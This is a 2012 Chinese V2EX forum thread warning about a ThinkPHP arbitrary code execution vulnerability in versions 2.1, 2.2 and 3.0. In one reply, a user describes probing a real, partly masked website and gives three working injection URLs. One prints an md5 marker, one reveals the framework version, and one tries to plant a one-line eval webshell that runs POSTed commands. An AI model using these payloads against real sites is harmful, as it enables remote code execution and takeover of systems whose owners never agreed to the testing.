ThinkPHP framework 任意代码执行漏洞预警

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

For Existing Member Sign In

› RANDOM.org 密码生成器

› uBlock

› Authy

› LastPass

› FreebuF.com

› Beebeeto

› Dashlane 密码管理器

This topic created in 5131 days ago, the information mentioned may be changed or developed.

http://zone.wooyun.org/index.php?do=view&id=44

代码执行

framework

thinkphp

3 replies • 1970-01-01 08:00:00 +08:00

mywaiting

Apr 9, 2012

乌云多了个水区后，我显然多了个可以去的好地方

ihacku

Apr 9, 2012

本来我是刚买完票随手用AWS测试个站报PHP code injection
http://taot**.net/events/content/id/${@print(md5(acunetix_wvs_security_test))}
后来才看到乌云上的帖子的
http://taot**.net/events/content/id/${@print(THINK_VERSION)}
版本2.1 漏洞影响到的版本包括2.1、2.2和3.0
不知道具体怎么利用试着在后面加了一句话
http://taot**.net/events/content/id/${@eval($_POST[cmd])}
都是一闪就过去了

ihacku

Apr 9, 2012

唔代码被转掉了